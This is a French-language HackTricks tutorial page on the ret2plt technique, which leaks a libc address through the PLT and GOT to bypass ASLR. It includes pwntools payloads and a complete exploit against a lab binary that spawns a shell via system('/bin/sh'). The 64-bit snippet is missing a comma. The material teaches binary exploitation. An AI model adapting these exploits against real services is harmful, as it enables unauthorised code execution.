Ret2plt

Reading time: 3 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

Le but de cette technique serait de fuiter une adresse d'une fonction du PLT pour pouvoir contourner l'ASLR. Cela est dû au fait que si, par exemple, vous fuites l'adresse de la fonction puts de la libc, vous pouvez alors calculer où se trouve la base de libc et calculer des décalages pour accéder à d'autres fonctions telles que system.

Cela peut être fait avec un payload pwntools tel que (from here):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Notez comment puts (utilisant l'adresse du PLT) est appelé avec l'adresse de puts située dans le GOT (Global Offset Table). Cela est dû au fait qu'au moment où puts imprime l'entrée du GOT de puts, cette entrée contiendra l'adresse exacte de puts en mémoire.

Notez également comment l'adresse de main est utilisée dans l'exploit, de sorte que lorsque puts termine son exécution, le binaire appelle à nouveau main au lieu de sortir (de sorte que l'adresse divulguée reste valide).

caution

Notez que pour que cela fonctionne, le binaire ne peut pas être compilé avec PIE ou vous devez avoir trouvé une fuite pour contourner PIE afin de connaître l'adresse du PLT, du GOT et de main. Sinon, vous devez d'abord contourner PIE.

Vous pouvez trouver un exemple complet de ce contournement ici. C'était l'exploit final de cet exemple :

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Autres exemples & Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks